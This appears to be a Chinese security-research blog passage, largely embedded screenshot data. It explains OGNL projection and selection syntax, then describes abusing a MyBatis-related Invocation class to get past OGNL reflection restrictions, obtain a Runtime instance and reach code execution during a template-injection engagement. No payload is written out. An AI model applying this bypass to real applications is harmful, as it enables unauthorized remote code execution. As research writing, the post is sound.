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 truncated
|
||||
<h3 blockindex=26>选择和投影</h3>
|
||||
<p blockindex=27>这段就作为一个了解吧,我直接复制了milktea师傅的文章中的一部分:<br>
|
||||
OGNL支持类似数据库中的投影(projection) 和选择(selection)。<br>
|
||||
投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX是这个集合中每个元素的公共属性。<br>
|
||||
例如:<code>group.userList.{username}</code>将获得某个<code>group</code>中的所有<code>user</code>的<code>name</code>的列表。<br>
|
||||
选择就是过滤满足<code>selection</code>条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:<code>collection.{X YYY}</code>,其中<code>X</code>是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:</p>
|
||||
<ul blockindex=28>
|
||||
<li>?选择满足条件的所有元素</li>
|
||||
<li>^选择满足条件的第一个元素</li>
|
||||
<li>$选择满足条件的最后一个元素</li>
|
||||
</ul>
|
||||
<p blockindex=29>例如:<code>group.userList.{? #txxx.xxx != null}</code>将获得某个<code>group</code>中<code>user</code>的<code>name</code>不为空的<code>user</code>的列表。</p>
|
||||
<h2 blockindex=30>Invocation.class</h2>
|
||||
<p blockindex=31>那天在公司审代码,发现mybatis中频繁使用了<code>setAccessable()</code>,跟进去发现了这么一个类,正好也是闲的,就用它写了个弹计算器,心想也没啥用。</p>
|
||||
<p blockindex=32><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=33><img src="data:image/png;base64,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 truncated
|
||||
<h2 blockindex=34>配合ognl</h2>
|
||||
<p blockindex=35>后来闲的没事突然想这东西能不能写进ognl里面然后绕过反射的限制呢?好巧不巧第二天Umbrella让我助他SSTI,这个trick就有用了么这不。</p>
|
||||
<p blockindex=36>在ognl中通过forname()可以判断有没有这个类,也就是判断用没用mybatis。<br>
|
||||
图不放了,遇到有可能的环境大家自行查看就好。</p>
|
||||
<p blockindex=37>有的那么就尝试构造个表达式获取一下runtime实例,绕过防护试试。</p>
|
||||
<p blockindex=38><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACr0AAASLCAYAAAAiFOQXAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdaXMl153f+e85J9e7YkcBtRdZJEVSlNSL1G213fZEj59NTMzTeW0z72AeO8JjW56ejmnLstSSmmRzrb0AVGG/a25nmQcXKKI2kqgiWYv+nwiIwL0nM09mnsybpfvLf6r33nsv8AQhPPFlIYQQ4qXivQfAGPOCe/KV6XTK5uYmAOvr67RarYfev3//PqPRCID5+XkWFxdpmobhcMjBwQEAeZ5z9uzZU833h+KcY3NzkxACa2traK2faT7ee3Z3d6mqivX1dZIk+drlHbd70no3TcPW1hbe+6fO69vMRwghxKvt+LrgWT+bhHiVDAYDdnZ2AFheXqbf77/Q/oQQqOua0WiE1pqFhYWnthsMBoxGI7rdLv1+H6XUD9xbIYQQQgghhBBCCCGEEEK8CI9+J/B1fz/t9+j4l6eFXCX8KoQQ4mV2/Dn1Mn9e